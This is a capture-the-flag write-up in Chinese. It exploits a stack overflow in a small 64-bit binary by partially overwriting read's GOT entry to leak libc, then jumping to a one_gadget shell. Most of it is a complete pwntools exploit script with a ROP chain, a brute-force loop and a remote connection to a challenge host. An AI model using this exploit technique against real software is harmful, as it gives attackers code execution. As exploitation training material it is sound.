乍一看以为这题有多简单,直接给个溢出,还没有canary
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
setbuf(stdin, buf);
return read(0, buf, 0x100uLL);
}
再一看就有点意思了:
got表就两项
.got.plt:0000000000601000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000601008 qword_601008 dq 0 ; DATA XREF: sub_400490↑r
.got.plt:0000000000601010 qword_601010 dq 0 ; DATA XREF: sub_400490+6↑r
.got.plt:0000000000601018 off_601018 dq offset setbuf ; DATA XREF: _setbuf↑r
.got.plt:0000000000601020 off_601020 dq offset read ; DATA XREF: _read↑r
.got.plt:0000000000601020 _got_plt ends
有个提示 Ret2dl但似乎行不通, Ret2dlresolvePayload 根本就不工作,说是距离大
于是想到另外一个着:
由于libc中write和read距离很近,可以通过爆破1位将got表的read改为write,然后输出得到libc,再将一个got值改为one
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
def connect():
global p, libc_elf, one, libc_start_main_ret
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
libc_start_main_ret = 0x21a87
else:
p = remote('node4.buuoj.cn', 26934)
libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
context.log_level = 'debug'
pop_rdi = 0x00000000004006a3 #: pop rdi ; ret
pop_rsi = 0x00000000004006a1 #: pop rsi ; pop r15 ; ret
pop_rbp = 0x0000000000400528 #: pop rbp ; ret
leave_ret = 0x00000000004005dc #: leave ; ret
main_addr = 0x4005de
vuln_addr = 0x4005a7
def pwn():
#gdb.attach(p, 'b*0x4005db')
#pause()
#lh = int(input('lh:'), 16)
lh = 1
sleep(0.1)
payload = b'\x00'*0x28+ flat(
pop_rdi,0, pop_rsi, elf.got['read'],0, elf.plt['read'], #读两字节到got表将read改为write
pop_rdi,1, pop_rsi, elf.got['read'],0, elf.plt['read'], #调用write输出得到libc
pop_rdi,0, pop_rsi, elf.got['setbuf'],0, elf.plt['read']+6, vuln_addr) #将setbuf改成one,这里通过plt+6还原read的got表
payload = payload.ljust(0x100, b'\x00')
p.send(payload)
sleep(0.2)
p.send(p16(lh*0x1000 + (libc_elf.sym['write']& 0xfff)))
libc_base = u64(p.recv(8)) - libc_elf.sym['write']
system = libc_base + libc_elf.sym['system']
bin_sh = libc_base + next(libc_elf.search(b'/bin/sh'))
one_gadget= libc_base + one[1] #local 1 remote 1
sleep(0.2)
p.send(p64(one_gadget))
p.sendline(b'cat /flag')
p.interactive()
while True:
try:
connect()
pwn()
except KeyboardInterrupt as e:
exit()
except:
p.close()